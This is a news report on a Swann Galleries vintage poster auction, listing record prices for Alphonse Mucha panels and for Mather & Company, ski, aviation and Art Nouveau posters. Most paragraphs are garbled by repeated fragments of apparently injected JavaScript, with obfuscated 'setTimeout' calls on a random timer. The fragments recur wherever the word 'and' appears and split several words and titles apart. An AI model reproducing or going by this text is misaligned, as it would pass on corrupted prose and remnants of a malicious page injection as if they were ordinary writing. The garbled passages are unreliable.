NEW YORK CITY — Several of the top lots in Swann Galleries’ February 25 auction of vintage posters were dazzling Art Nouveau beauties by Alphonse Mucha — a few of which set new auction records. The highest selling lot in the sale was a set of four elaborate decorative panels by Mucha depicting the Times of the Day from 1899, which brought $50,000.

Record-setting works by Mucha were single panels from that Times of the Day set, with Eveil du Matin, the Morning panel, bringing $35,840 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Reverie du Soir, the Evening panel, $23,750; as well as a single sheet with Three Seasons, 1898, $10,625. Also among the Mucha highlights were his Documents Decoratifs portfolio with 72 plates, 1902, $27,500; two variants of Job, one from 1896 for $22,500, the other from 1898, $11,250; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Seasons, set of four decorative panels, 1896, $18,750.

Additional record-setters were Philippe Henri Noyer’s effervescent image of mermaids swimming beside a large glass for Limonade Brault, 1938, $6,750, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mather & Company’s sensible warning Don’t Lose Your Head / Handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle Your Temper, with a red background andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a disembodied hot head, 1924, $12,500.

More appealing Mather posters included Think “I” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and You Work Alone / Help Others andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and They Help You, showing rock climbers, 1925, $7,000; Build a Seven-Day Reputation / Each Good Day’s Work Takes You Higher, with a figure balancing on a steel beam hoisted in the air, 1924, $6,500, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Starters andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Finishers / Be Right at the Finish, with runners at the starting line, 1924, $4,000.

On the heels of the 2014 Winter Olympics, the auction house saw a lot of interest for Witold Gordon’s III Olympic Winter Games / Lake Placid, 1932, which sold for $8,125, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other ski posters, such as Alex Walter Diggelmann’s dynamic Pontresina, circa 1930, $6,750; Emil Cardinaux’s view of skiers in Jungfrau Bahn, Zurich, 1925, $5,500; Erich Hermes’s image of a gentleman resting on the slopes with a cup of coffee andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a cigarette advertising Winter in Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, 1936, $4,750, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Walter Koch’s depiction of ski tracks in the snow for Zuger-Berg / Wintersport, circa 1910, $4,250.

High-flying aviation images included Rene Hermann-Paul’s ad for flying school Aerodrome de Cannes, 1909, $8,000; Hans Rudi Erdt’s Wrights / Flugvorfuhrungen, an announcement of Orville Wright’s flying exhibition over Berlin, 1909, $7,250; Charles Rambert’s fanciful image of a pilot flying around the cathedral in Rouen, Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande Semaine d’Aviation, 1910, $6,250, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Gavrieli’s poster in Hebrew, Aviation Week / The Nation Needs Pilots andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Planes, circa 1945, $5,750.

Rounding out the sale were other Art Nouveau classics, such as Henri de Toulouse-Lautrec’s poster for singer Aristide Bruant / dans son Cabaret, 1893, $7,500, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Theophile-Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andre Steinlen’s Cocorico, a magazine of the Art Nouveau era, $5,000; a horizontal-format image by Rene Vincent for Motorcycles Cottereau, 1905, $6,750; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and American literary posters, among them Maxfield Parrish’s The Century / Midsummer Holiday Number, 1897, $5,376.

Prices reported include the buyer’s premium. For more information, 212-254-4710 or www.swanngalleries.com.